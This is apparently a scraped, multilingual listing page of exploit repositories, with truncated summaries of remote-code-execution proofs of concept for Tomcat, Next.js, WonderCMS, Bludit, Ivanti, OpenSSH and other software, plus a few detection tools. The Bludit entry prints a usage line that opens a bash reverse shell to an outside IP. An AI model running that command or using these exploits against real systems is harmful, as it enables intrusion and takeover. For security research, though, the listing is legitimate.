tomcat-cve-2017-12617

Tomcat CVE-2017-12617 Exploit/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - Bypass del caricamento JSP / Esecuzione remota di codice per Python3 Ho apportato alcune modifiche allo script originale per renderlo compatibile con Python 3! Se ci sono problemi o difficoltà, sentiti libero d...

cve-2022-24112

Apache APISIX 2.12.1 Esecuzione di codice remoto e laboratorio Docker Facciamo il clone di questo repository usando gitclone, quindi possiamo navigare in apisix-docker/examples. In questo file docker-compose.yml, abbiamo già cambiato in image: apache/apisix:2.12.0-alpine, perché la vulnerabilità ...

NextRce

NextRce - Strumento di exploit RSC per Next.js CVE-2025-55182 Scanner di vulnerabilità avanzato ed exploiter per Next.js App Router Sviluppato daMitsec 🔥 Nuova funzionalità: Modalità di bypass WAF UTF-16LE I payload standard che contengono parole chiave come childprocess o execSync vengono spesso...

CVE-2023-22047

Descrizione: CVE-2023-22047 è una lettura di file non autenticata su Oracle PeopleSoft. Tuttavia, uno sfruttamento avanzato da parte di un attaccante può consentire di usare questa vulnerabilità per eseguire codice in remoto Remote Code Execution. Nell'applicazione PeopleSoft, il file "Portal.war...

mantis_rce

mantisrce Script Python per ottenere RCE su Mantis Bug Tracker precedente alla versione 1.2.x Consulta CVE-2008-4687 per ulteriori informazioni...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 Strumento di Exploit RCE per WonderCMS CVE-2023-41425 Questo strumento offensivo di sicurezza basato su Python automatizza lo sfruttamento di una vulnerabilità di Remote Code Execution RCE in WonderCMS 4.3.2 , in particolare la CVE-2023-41425. Semplifica il processo di creazione di un modulo te...

CVE-2020-0688-GUI

1. Scopo del progetto e riferimenti Lo scopo è semplice: di recente ho intenzione di scrivere di nuovo un C2 in C; per cominciare, ho voluto creare qualche piccolo progetto per fare pratica e tenere vivo l'interesse. Così mi è venuta l'idea di trasformare lo strumento del grande zcgonvh in una...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticato Utilizzo python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Esempio...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 ist eine kritische Schwachstelle in Ivanti Connect Secure, die Remote-Befehlsausführung RCE durch einen Buffer-Overflow-Exploit ermöglicht. Diese Schwachstelle ermöglicht es Angreifern, schädliche Dateien z. B. Web-Shells hochzuladen und Befehle mit...

cve-2019-19781

CVE-2019-19781 Dies wurde nur hochgeladen, weil andere Forscher ihren Code zuerst veröffentlicht haben. Wir hätten gehofft, dies noch etwas länger geheim zu halten, während die Verteidiger ausreichend Zeit hatten, ihre Systeme zu patchen. Wir sind ganz für verantwortungsvolle Offenlegung, in dies...

CVE-2025-48384

PoC per CVE-2025-48384 Vedi CVE-2025-48384 Per eseguire: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git Esempio di output: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test...

CVE-2023-27372

CVE-2023-27372 SPIP prima della 4.2.1 consente l'esecuzione remota di codice tramite i valori dei moduli nell'area pubblica, poiché la serializzazione non viene gestita correttamente. Le versioni corrette sono 3.2.18, 4.0.10, 4.1.8 e 4.2.1. Questo PoC sfrutta un'iniezione di codice PHP in SPIP. L...

cve-2024-6387-poc

cve-2024-6387-poc حالة سباق في معالج الإشارات بخادم OpenSSH sshd 7etsuo الوصف استغلال لثغرة CVE-2024-6387، يستهدف حالة سباق في معالج الإشارات بخادم OpenSSH sshd على أنظمة Linux المبنية على glibc. تسمح الثغرة بتنفيذ تعليمات برمجية عن بُعد بصلاحيات الجذر root بسبب استدعاء دوال غير آمنة للإشارات غير...

nmap_draytek_rce

nmapdraytekrce nmap-Skript zur Erkennung von CVE-2020-8515 auf Draytek-Geräten...

simplify

Simplify Deoffuscatore Android Generico Simplify esegue virtualmente un'app per comprenderne il comportamento e poi cerca di ottimizzare il codice in modo che si comporti identicamente ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non...

ds3-nrssr-rce

Update: Dark Souls III 1.15.1 Ein neues Spielupdate, 1.15.1, wurde am 25.08.2022 für Dark Souls III veröffentlicht, zusammen mit der Wiederherstellung der Onlinedienste. Dieses Update korrigierte sowohl CVE-2022-24125 als auch CVE-2022-24126 , zusammen mit einer Vielzahl anderer potenzieller...

CVE-2019-19781

Este artigo é sobre o CVE-2019-19781, a vulnerabilidade de execução remota de código RCE por Directory Traversal no Citrix ADC and Gateway. Esta vulnerabilidade de execução remota de código ocorre porque a validação do arquivo smb.conf em ../vpns, abaixo do caminho /vpn, não é feita adequadamente...

CVE-2021-44228

अवलोकन इस रिपॉजिटरी में Apache Log4j 2 रिमोट कोड निष्पादन भेद्यता CVE-2021-44228 से संबंधित समझौते के संकेतकों IOC की हंटिंग को सुविधाजनक बनाने के लिए OpenIOC नियम शामिल हैं। ये नियम हंटिंग नियम माने जाते हैं और इस प्रकार पहचान की प्रभावशीलता संगठन के अनुसार भिन्न होगी। पर्यावरण-विशिष्ट ट्यूनिंग ...

cve-2023-34960

cve-2023-34960 chamilo soap api rce /webservices/additionalwebservices.php...

REALITY_SMASHER

REALITYSMASHER vRealize RCE + Privesc CVE-2021-21975, CVE-2021-21983, CVE-0DAY-????? "Tanto facile da fermare quanto da comprendere." Cos'è? "Reality Smasher" è un exploit per vRealize che sfrutta i problemi di sicurezza affrontati in VMSA-2021-0004 CVE-2021-21975, CVE-2021-21983 oltre a una...